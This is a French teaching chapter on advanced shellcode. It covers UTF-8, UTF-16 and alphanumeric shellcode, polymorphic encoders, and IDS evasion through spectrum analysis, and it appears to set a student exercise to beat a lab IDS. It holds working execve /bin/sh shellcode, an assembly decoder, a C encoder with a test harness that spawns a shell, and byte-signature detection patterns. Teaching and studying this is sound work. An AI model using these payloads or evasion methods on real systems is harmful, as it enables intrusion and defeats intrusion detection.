Chapitre 6. Attaque logiciel avancée

Table des matières

L'art des shellcodes avancés
Les protections contres les shellcodes
Differentes techniques pour passer outres les filtres communs.
Comments les IDS detecte les shellcodes ?
Les techniques avances des IDS
Une messagerie pas si sure que ca
String Format Bug
'Utilisation' speciale de printf
Ecrire dans la mémoire
Résumé
Les débordements sur le tas
Doug Lee malloc (linux)
Poul-Henning Kamp's malloc (*BSD)
Les race conditions
Des exemples
Défense
Protection mémoire avec PaX

L'art des shellcodes avancés

Les protections contres les shellcodes

Les protections contres les shellcodes

Pour se proteger des buffers overflow qui utilisent des shellcode il existe differentes techniques basees sur l'utilisation de filtres. Le buffer ou se trouve le shellcode est verifie a l'aide de fonction comme strcpy, strncpy, a la recherche de pattern comme:

  • "\xCD\x80" int 0x80
  • "\x90\x90\x90..." nopad
  • 0x7361626f /bin/bash

Il existe aussi d'autres types de filtre comme ceux alpha-numeriques qui n'acceptent que les chiffres et les lettres ou les filtres unicodes qui n'acceptent que les codes sous la forme unicode. Cette technique de filtrage peut etre directement incorporee aux programmes ou etre utilisee directement sur la couche ip, c'est ce que font les IDS (Intrusion Dection Systems), en cherchant directement dans les packets transmis la presence d'un eventuel shellcode, s'il les trouve la connection avec l'attaquant est directement bloquee. C'est pourquoi il faut que les IDS puissent travailler en temps reel, s'ils mettent trop de temps a analyser les packets, ils ne pourront pas bloquer les attaques.

Nous allons voir comment les protections des IDS classiques sont surpassees, puis nous verrons que l'on peut utiliser ces differentes techniques pour consolider la base de donnees que sont IDS, et les rendre plus alertes a la detection d'attaques externes.

Differentes techniques pour passer outres les filtres communs.

Les shellcodes utf-8 compliants ;)

UTF-8 est un format unicode special qui permet de coder tous les characteres unicodes sur un nombre de bytes different. En fait ce format est tres pratique car il permet d'utiliser des fichiers ascii sans les modifier car les caractreres communs avec l'ascii sont toujours codes sur un byte et le meme byte. Les filtres utf-8 sont souvent utilises dans les applications web car le xml est stocke sous ce format. De plus l'utf-8 va etre de plus en plus utilise dans le futur car il permet de coder n'importe quel caractere mais il ne force pas a la reconversion de texte ascii ce qui est tres pratique. Il est donc evident qu'un filtre UTF-8 laisse passer les shellcodes alphanumeriques. Mais il est bien plus simple d'ecrire un shellcode UTF-8 car on est beaucoup moins limite dans le jeu d'instructions.

Les caracteres qui ont une valeur plus grande que U-0000007F doivent utiliser plusieurs bytes comme indique dans ce tableau.

U-00000000 - U-0000007F: 0xxxxxxx  
U-00000080 - U-000007FF: 110xxxxx 10xxxxxx 
U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx
U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx
U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx
U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

Example: U-0000211C (BLACK-LETTER CAPITAL R)

D'apres le tableau precedent on a besoin de 4 bytes pour encoder ce caractere

0x211C donne 00100001 00011100 en binaire. Remplissons le tableau:

            1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx
  +         	0000   100001   000100   011100
            -----------------------------------
	    11100000 10100001 10000100 10011100

Ce qui donne en utf8: \xE0\xB1\x84\x9C

On comprend vite que la difficulte va etre d'ecrire une sequence de plusieurs instructions valides en UTF-8, car les parsers UTF-8 valident un nombre uniquement s'il utilise la plus petite representation possible quand il y en a plusieurs.

Heuresement on va pouvoir facilement utiliser les NOP (0x90) et une instuction non documentee sur x86 qui s'appelle salc (0xd6) et qui peut etre utilisee comme une NOP si on fait attention au fait qu'elle va modifier %al (en faite SALC met 0x00 ds %al si le carry est a 0 si non elle met 0xFF)

Liste des sequences valides tire de l'article de Greuff "Writing UTF-8 compatible shellcodes" (cf votre magnifique livre au lab srs)

		 UTF-8:

		  Code Points      1st Byte  2nd Byte 3rd Byte 4th Byte
	   	   U+0000..U+007F     00..7F          
	    	   U+0080..U+07FF     C2..DF    80..BF       
		   U+0800..U+0FFF     E0        A0..BF   80..BF    
		   U+1000..U+FFFF     E1..EF    80..BF   80..BF    
		   U+10000..U+3FFFF   F0        90..BF   80..BF   80..BF
		   U+40000..U+FFFFF   F1..F3    80..BF   80..BF   80..BF
		   U+100000..U+10FFFF F4        80..8F   80..BF   80..BF

Comme le montre le tableau a part pour les caractres ascii, certains bytes doivent se suivre dans un ordre etabli. On appelle continuation bytes ceux qui suivent un byte de but de sequences. Comme dit precedemnt on va pouvoir utiliser les NOP et SALC pour continuer une chaine ou comme byte de continuation ds de nombreux cas ce qui va faciliter notre probleme.

Exemple d'utilisation de nop pour valider un xor:

       "\x31\xc9"          // xor %ecx, %ecx
       "\x90"              // nop (UTF-8) continue ecx
       "\x31\xdb"          // xor %ebx, %ebx
       "\x90"              // nop (UTF-8) continue ebx

Un autre probleme est celui des instructions qui doivent-etre continuees de certains byte, en fait on peut ici utiliser SALC pour demarrer la chaine et faire l'effet du NOP puis apres continuer notre chaine avec les insctrutions dont on a besoin.

 
       "\xd6"              // salc (UTF-8)
       "\x8d\x0c\x24"      // lea (%esp,1),%ecx

Attention SALC modifie %al !

D'ailleurs ce n'est pas le seul probleme avec %eax car quand il est utilise en parametre son opcode est \xc0 qui est invalide en UTF-8, il faut donc trouver des astuces comme utiliser la stack car push %eax est code sur une seul instruction

     xor %ebx, %ebx
     push %ebx
     pop %eax
     

Pour tester le code on peut utiliser iconv un convertisseur de format de fichier text, on choisit de convertir de l'UTF-8 vers l'UTF-16 s'il n y a pas d'erreur c'est que le shellcode est bien UTF-8 compliant ;) (On bien sur tjrs l'injecter avec un simple programme C pour voir s'il marche toujours).

iconv -f UTF-8 -t UTF-16 test

Voici un exemple simple, on utilise 12 inc eax pour remplacer l'instruction "mov $0x0b, %eax"

    "\x31\xd2"                // xor    %edx,%edx
    "\x90"                    // nop    (car on a  0xd2 avant)
    "\x52"                    // push   %edx
    "\x68\x6e\x2f\x73\x68"    // push   $0x68732f6e
    "\x68\x2f\x2f\x62\x69"    // push   $0x69622f2f
    "\xd6"                    // salc (parceque le prochain byte est 0x89)
    "\x89\xe3"                // mov    %esp,%ebx
    "\x90"                    // nop (a cause de 0xe3)
    "\x90"                    // nop 
    "\x52"                    // push   %edx
    "\x53"                    // push   %ebx
    "\xd6"                    // salc
    "\x89\xe1"                // mov    %esp,%ecx
    "\x90"                    // nop 
    "\x90"                    // nop
    "\x52"                    // push %edx
    "\x58"                    // pop %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\x40"                    // inc %eax
    "\xcd\x80"                // int    $0x80
    ;
 

Cette technique permet donc de 'bypass' outrepasse les filtres unicode UTF-8. On peut directement coder le shellcode soi-meme car on dispose, malgres les restrictions importantes du nombre d'instructions, et de petites astuces qui permettent de coder facilement le shellcode. Mais pour passer la plupart des autres filtres nous allons devoir utiliser une autre methode plus generale qui consiste a creer un encodeur qui va encoder n'importe quel shellcode au bon format, il ne reste alors qu'a coder le decodeur, que l'on va placer avant le shellcode, avec les instructions limitees. Cette technique est dite polymorphique car le programme va reecrire sur lui meme sa version decodee et se reexecuter une fois decode, la partie executable a donc plusieurs formes.

Les shellcodes utf-16

L'utf-16 est une autre forme d'unicode, qui code les caracteres sur deux octets (16bits). Quand ces caracteres font partis de la table ascii le premier octet est egal a celui en ASCII et le deuxieme octet est nul.

exemple:

         ABCDEF
	 ASCII:   \x41\x42\x43\x44\x45\x46\x00
	 UNICODE: \x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00
	 

Le buffer doit etre code entirement en UTF-16 il faut donc que l'adresse de retour soit unicode friendly 0x007700FF. On peut essayer de retourner sur une adresse qui appelle un registre si l'adresse est stockee ds le registre

Il faut aussi utiliser des fausses nop qui contiennent des zeros entre certaines instructions. Exemple: push eax pop ecx push eax add byte ptr[ebp], ch pop ecx

La methode venitienne:

Cette methode utilise un 'exploit writer' et un buffer avec le shellcode ecrit un char sur deux. On encode d'abord notre shellcode en UTF-16, on remplace une instruction sur deux par un zero et on place l'instruction remplacee a la fin du shellcode elle meme suivi par un zero:

Si notre shell code est: \x41\x42\x43\x44\x45\x46\x47\x48

On le reecrit sous la forme: \x41\x00\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00 On va mettre avant notre shellcode une boucle qui utilisera des opcodes UTF-8 et qui va remplacer les vides par les valeurs qu'il faut:

La boule deplace une valeur a chaque tour: copie 42, sur le 1er \x00:

\x41\x42\x43\x00\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00

copie 44, sur le deuxieme \x00:

\x41\x42\x43\x44\x45\x00\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00

copie 46, sur le troisieme \x00:

\x41\x42\x43\x44\x45\x46\x47\x00\x48\x00\x46\x00\x44\x00\x42\x00

copiee 48, sur le troisieme \x00:

\x41\x42\x43\x44\x45\x46\x47\x48\x48\x00\x46\x00\x44\x00\x42\x00 On se retrouve au final avec notre shellcode reecrit dans le bon ordre il nous reste plus qu'a jump au debut de se shellcode.

Pour plus de details: "Creating arbitraty shell code in unicode expanded strings" Janvier 2002 : http://www.nextgenss.com/papers/unicodebo.pdf

Les shellcodes alpha-numeriques

Les shellcodes alphanumeriques sont utilises pour passer outre les filtres qui n'acceptent que les characteres 0-9, A-Z, a-z. Beaucoup de programmes utilisent ce type de filtrage puisqu'il est logique dans le cas d'une saisie utilisateur. L'avantage des sc alpha-numeriques c'est que une fois cree on peut le strocker n'importe ou: environnement, commande, parametre, nom de fichier, nom d'utilisateur ou password ...

Mais les instructions pour les creer (celles qui coresspondent donc a 0-9 \x30 - \x39, a-z A-z \x61-\x7A \x41-\x5A) sont tres limites et complexes c'est pourquoi il vaut mieux creer un encodeur qui va pouvoir coder n'importe quel shellcode (pratique pour les shellcode reverse connect ou quand on a des modif a faire), et coder un petit decodeur directement en alpha. Pour creer le decodeur on peut utiliser une methode proche de la methode de codage de la base 64. Cette technique est utilisee en general pour transformer du binaire en ascii, les caracteres sont codes sur 4 bytes affichables au lieu de trois bytes, mais la base64 code aussi sur des caracteres ascii non alpha-numeriques. On peut a la place utiliser une base16 qui coderait un byte sur deux bytes auxquels on ajouterait 0x41, ceci permet de coder sur les caracteres allant de A-P et de prendre les caractres superieurs comme fin de chaine.

Exemple:

0x90h -> 1001 0000b
0x41  -> 0100 0001b
-->
	0000  0000b
+       0100  0001b	
	__________
	1101  0001b --> 0x4A (J)

		
	1001  0000b
+	0100  0001b
	___________
	0100  0001b --> 0x41 (A)
Riley "Caezar" Eller "bypassing MSB Data Filters for Buffer Overflows" Aout 2000

Comments les IDS detecte les shellcodes ?

Le pattern matching

Un IDS ou un antivirus a une database avec des signatures, suite de bytes qui permet d'indentifier un code Une fois ce code identifie comme dangereux le programme est detruit ou la connection bloquee dans le cas d'un IDS. Meme si on utilise d'autres techniques pour appeller execve il y aura qund meme une signature que l'on pourra identifer puis utiliser dans l'ids pour se proteger.

La solution est donc de chiffrer le shellcode : si l'on chiffre le shellcode AAAAAAAA en XXXXXXXXXXX l'IDS ne peut plus le retrouver mais pour pouvoir le dechiffrer on doit mettre avant un decodeur CCC ce qui donne CCCXXXXXXXX malheuresement CCC peut etre retrouve par pattern-matching, car seul la clef va etre changee !

C'est la qu'apparaissent les shellcode polymorphiques...

Les shellcodes cryptes / polymorphiques

Le terme polymorphique apparait sur la scene virus en 92 invente par Dark Avenger. En fait il faut chiffrer le code du virus et generer une technique de dechifrage differente a chaque fois comme ca le virus est different a chaque fois et ne peut etre scanne (Sinon le decodeur est constant a part la clef et on le repere !), cette methode est donc parfaite contre le pattern matching puisque on ne pourra pas retrouver de sequence commune au virus.

Moteur polymorphique de virus :

  • TridenT Polymorphic Engine (TPE)
  • Dark Angel Mutation Engined (DAME)

Avantage des sc poly sur les virii poly:

Le sc etant la derniere chose lancee par le programme il n'a pas besoin de sauvegarder / restaurer les registres par exemple pour que l'execution se continue. C'est un grand avantage, on peut dans la fake nop faire du code qui fait rien ;)

Les sc doivent etre nulle zero il faut donc faire attention aux chaines caracteres

ADMmutate et le premier essai d'application de cette technique au shellcode Comment creer un simple shellcode polymorphique:

Pour creer ce shellcode on va tout d'abord cree un decodeur en assembleur, puis un encodeur de shellcode en C, enfin on liera le decodeur au shellcode encode et on le testera.

Il y a plusieurs methodes simples pour encoder un shellcode : on peut faire ajouter ou soustraire a une valeur a tous les bytes ou XOR les bytes avec une clef, ou bien utiliser l'instruction mov pour swap des bytes.

La methode la plus simple la soustraction :

Le decodeur en ASM:

	jmp get_addr			

	go:
	pop %eax				#met ds %eax l'addresse du shellcode a decoder
	xor %ecx, %ecx				
	mov $25, %cl				#taille du shellcode a decoder
	add %ecx, %eax				#on fait pointer %eax sur la fin du shellcode
	loop:
	sub $1, %eax  				#on soustrait 1 a l'opcode courant du shellcode
	sub $1, (%eax)				#on soustrait 1 a l'adresse sur laquelle pointe eax
	sub $1, %ecx				#on soustrait 1 a ecx
	jnz loop 				#tant que %ecx != 0 on continue notre boucle
	jmp sc_encoded				#le shellcode est decode on peut jump dessus !

	get_addr:
	call go					#call push l'adresse de la prochaine instruction

	sc_encoded:
	#on place ici notre shellcode encode
	
	L'encodeur en C:													       
	char	decoder[]  = 				/*l'encodeur precedent */
	"\xeb\x14\x58\x31\xc9\xb1\x19\x01\xc8\x83\xe8\x01\x83\x28\x01\x83"
	"\xe9\x01\x75\xf5\xeb\x05\xe8\xe7\xff\xff\xff";
	
	char	sc[] =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68"	/* le shellcode a encoder */
      			"\x68\x2f\x62\x69\x6e\x89\xe3\x50";
			"\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
	
	char	*encode()
        {
        char	*sc_encoded = malloc(strlen(sc));
        int	i;
        
	for (i = 0; i < strlen(sc); i++)										
            sc_encoded[i] = sc[i] + 1;		/*on a ajoute 1 a chaque opcode du shellcode*/
        return (sc_encoded);
	}
	
	Le test
	
	char sc[] = 

	"\xeb\x14\x58\x31\xc9\xb1\x19\x01\xc8\x83\xe8\x01\x83\x28\x01\x83"  /*decodeur */
	"\xe9\x01\x75\xf5\xeb\x05\xe8\xe7\xff\xff\xff"                    
	"\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51" /*shellcode encode*/
	"\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81";
	
	int main() 
	{
  	int *ret;

   	ret = (int *)&ret + 2;
  	*ret = sc;
	}

resultat:

sh-3.00$ 		# ca marche !!

C'est ainsi que sont fait la plupart des shellcodes polymorphiques, peu de generateurs polymorphique utilisent vraiment des techniques de chiffrage non constantes (ex: ADMmutate) et meme cela peuvent avoir des problemes :

  • XOR pb (clef constante)

  • NOP zone avec juste des one byte instructions

Car les IDS ne font pas que du pattern matching sur le shellcode mais sur tout le buffer il faut donc modifier tout le buffer.

Un shellcode qui passe les IDS ...

Salut, je m'appelle chiche et je viens de creer un IDS qui est incroyable ...

Il est capable de detecter un shellcode !

Je vous demande si vous l'acceptez de tester mes fonctions de detection de shellcode, pour me confirmer la qualite superieure de ce programme.

Le binaire est dans le sgoinfre dans chichcode/chichtest, fournissez lui une chaine en argument et il detectera si c'est un shellcode.

Hum ... Ici vos profs de secu, soyez gentils et rassurez nous sur votre niveau en faisant un shellcode qui n'est pas reconnu par le programme de chiche, essayez aussi de nous dire quelles fonctions de cryptage reconnait le programme de chiche (ca ne doit pas etre tres complique ... ;)

Si vous le voulez n'hesitez pas a creer un petit tool sympa, pour vous aidez au developpement et pourquoi pas generer des shellcodes differents facilement.

Creer un buffer qui passe les IDS

Les IDS detectent les NOP pad ou les fake nop zones puis essayent de detecter le sc par pattern matching. Ils pourraient aussi essayer de detecter les parties communes du cram buffer ou les nombreuses adresses de retour consecutives.

Donc il faut aller plus loin que le sc poly on doit essayer de modifier les differentes parties du buffer.

Schema de buffer classique pour un BOF:

 |	NOP 	| shellcode	| byte to cram | return address|
 

Modification des differentes parties:

NOP pad :

Rappellez vous que les nop sont necessaires car on ne sait pas exactement ou va pointer le shellcode il faut que le shellcode puis commencer a nimporte quel endroit du nop pad, si on veut remplacer 0x90 par d'autres instructions il faut que ce principe soit toujours verifie, on peut donc remplacer les nop par n'importe qu'elle instruction d'un byte puisque en arrivant n'importe ou dans le code leur signification ne sera pas changee.

Malheuresement il n'y pas bcp de `one byte` instructions, ce qui fait qu'elles sont facilement reperables. (bien que beaucoup soient alpha numeriques ce qui est plutot pratique pour passer outre les ids en codant une nop zone alphanumerique avec un dictionaire americain par ex.

Mais parfois ca ne marche pas surtout si le service n'est pas alphanum On peut aussi utiliser des 2 byte insctructions dans lesquelles le deuxieme byte est une one byte instruction ou le premiere byte d'une autre two byte instruction et cela recursivement .... Mais certaines two byte instrucitons pointent sur une zone memoire ou on a besoin de suffix il faut donc que les suffixes et les zone memoire soient elles memes des instructions lisibles a partir de n'importe ou. Il faut donc faire attention car parfois des segfaults ou divisons par zero peuvent apparaitre.

shellcode:

Pour encoder le shellcode il faut essayer d'utiliser des algo qui utilisent plusieurs operations (pas un simple XOR ou SUB / ADD)

Le decodeur :

Pourquoi l'utilisation de XOR avec une clef unique ne marche pas:

  • Pour une clef a unique cela revient a XOR celui d'acoter
  • Pour une clef plus longue c'est aussi detectable simplement mais avec beaucoup de puissance de calcul

Le probleme vient donc d'utiliser que des xor et une clef de taille fixe. Si on utilise une clef qui change et qui change de taille c'est plus efficace, on peut aussi utiliser add, ror etc... On peu aussi modifier les registre utilises

On a besoin de 2 registres un pour mettre l'adresse courante : un pour stocker ce qu'il y a cette adresse et un pour le reste, on a le choix entre plusieurs registres que l'on peut choisir au hasard

Deux autres methodes :

  • Utiliser toujours la meme fonction de crypto avec des instructions differentes (ex inc %eax, inc %eax\ add $2, %eax)
  • Generer une autre routine de dechifrage a chaque fois
  • Pour les deux : rajouter du random code, si les registres, l'ordre des instructions et le type des instructions ne change pas completement a chaque fois

byte to cram:

IL faut eviter de mettre plein de fois l'adresse de retour car c'est detecte facilement, surtout par le data-mining (voir plus bas) : Cette grande zone nous permet de mettre ce que l'on veut on peut donc utiliser des bytes aleatoirements ou par exemple utiliser un dictionnaire pour generer une zone alpha-numerique.

return addr:

Peu de solution ici ...

Schema d'un buffer polymorphique :

Au final presque toutes les parties de votre buffer seront modifiees:

| fake NOP 	| decipher routine | ciphered sh | byte to cram | ret addr|

Apres que les shellcodes polymorphique de ce type soient distribues sur le net, de nouvelles techniques de detection sont apparues dans les IDS. Ces techniques sont basees sur l'analyse de spectre et le 'data-mining', une autre technique est employee dans les anti-virus, c'est l'emulation de code.

L'emulation de code permet d'executer le virus polymorphique pour voir ce qu'il fait sans detruire le systeme, mais cette technique necessite beaucoup de ressources, elle est trop lente pour etre utilisee dans les IDS qui doivent pouvoir reagir tres vite pour couper la connection de l'attaquant. C'est pourquoi les IDS utilise d'autres methodes basees sur le 'data-mining'.

Les techniques avances des IDS

Methode par analyse de spectre

Une methode par analyse de spectre va nous donner le nombre d'occurences des memes bytes dans un paquet donne. Par exemple:

 25 \x00  32 \x01  4 \08 ...
 

ce tableau est un spectre de X

Un IDS va donc faire des spectres avec les paquets recus et cree des regles. Si par exemple dans un trafic normal on a jamais plus de 20 bytes de FF, vous pouvez creer la regle de rejeter les paquets avec plus de 20 bytes de FF

C'une regle simpliste en faite la plupart sont generees grace a des reseaux neuronaux comme nous le verrons plus loin. Cette technique remplace le pattern-matching dans le sens ou les signatures ne sont plus celles des instructions mais celles du spectre.

Ils enregistrent des signatures de spectre au lieu de signature de paquets:

Par exemple:

 	 |25  |32  |4   |
	 ---------------
	 |\x00|\x01|\x08| 						 		 

Si on utilise un systeme d'encryptage avec des XOR sur un byte notre paquet aura ce spectre:

	|25  |32  |4   |
	---------------
	|\x03|\x04\\x0B|

le spectre est le meme l'attaque est donc detectee.

Pour eviter cela il faut encrypter le shellcode sur 4 byte, si on crypte FFFFFFF avec XOR AABBCCDD ADD 1 on obtient 66554433 : ce spectre de X n'est pas une simple permutation de X

Data-mining l'approche neuronale

le but est de pouvoir prendre une decision tres rapide sur un grand nombre d'info a traiter, C'est pourquoi l'IDS snort a choisi d'utiliser un reseaux de neurone pour creer ces regles de verification de paquets.

Un neuronne est un simple calculateur:

Il recoit des variables choisies comme les diffrents octeta du paquet ou le nombre de 0x 1x etc.. et utilise des variables creees en apprenant pour tester la validite du paquet

Pour trouver les bonnes valeurs, on doit d'abord apprendre au reseau de neurones en lui donnant des paquets invalides et valides et en le corrigant quand il se trompe.

L'avantage est que les regles ne sont plus dictees par un humain mais en apprenant le poids des differentes entrees sur le reseau de neurones et les criteres de decision.

C'est beaucoup plus rapide que de chercher dans une enorme base de donnees de pattern matching.

L'analyse de spectre contre le data-mining

              |		  |
  ---Internet |  firewall |  server
	      |  ids 	  | 

On sniffe le trafic sur le port 80 du server pour recuperer des donnees qui sont acceptees par l'ids.

Puis on en fait un spectre (tableau avec les nbd de 00 01 etc ...) qui va nous servir a generer le code des differentes zones car il faut utiliser ce spectre differement d'apres les zones.

Generer un buffer et un shellcode grace a l'analyse de spectre:

  • Generer une cram zone grace a l'analyse de spectre:

    On essaye de faire une zone avec le meme spectre que celui du traffic (sauf celui de \x00).

    C'est la zone clef car on peut generer les bytes qu'on veux, et comme on ne peut pas en generer dans certaines zones comme celles du decodeur on peut mettre les bytes qui manquent dans cette zone, pour equilibrer.

     Exemple:
    
     	A  B	C 
    	50 50	100
    

    On va esssayer de suivre se spectre sachant que notre shellcode + nop zone fait:

    ABBAAAAA

    Si on a le droit a deux bytes pour la cram zone on se dit d'abord qu'il faut rajouter des C car les probabilites sont plus elevees car C est important dans le spectre mais c'est une mauvaise maniere de penser car si on prend un packet avec sh + np de :

    CCCCCBBB

    On pourrait choisir A avec les memes raisons qu'avant

    Si on choisit C avant

    ABBAAAAACC

    En faite cette methode est mauvaise car elle est statique, et que si le shellcode et le nop est le meme, la cram zone qui doit nous permettre d'etre different ne l'est pas.

    Avec ce principe on reconnait les paquets en prenant les premiers octets et en essayant de les faire suivre de cette methode si la zone generee est la meme, on peut en deduire que c'est un shellcode.

    On peut pour contrer cela utiliser des probabilites et dire que dans ce cas la probabilite de C est augmentee et celle de A est B diminuee

    C'est la methode de CLET, un generateur de shellcode polymorphique tres complet qui utilise des proba et toute les techniques avancees pour creer son buffer. (Phrack 61, Polymorphic Shellcode Engine Using Spectrum Analysis pour plus de detail)

  • Generer le sc en utilisant l'analyse spectrale:

    Attention l'analyse spectrale peut ne pas suffir car parfois une regle simple comme pas de \xFF peut nous empecher de realiser un sc en utlisant l'analyse spectrale.

  • Fakenop zone en utilisant l'analyse spectrale:

    On ne peut utiliser cette methode car c'est trop complique, on utilise un random, car le choix des opcodes est trop restreint du au fait que l'on doit pouvoir pointer n'importe ou.

Conclusion

L'analyse spectral peut donc etre utiliser pour passer outre les protections des IDS classiques mais dans le cas d'un IDS qui utilisent un reseaux de neuronne comme SNORT l'utilisation de shellcode generer grace a cette methode permet surtout de cree des regles tres puissante qui permetront de reconnaitre un maximum de shellcode.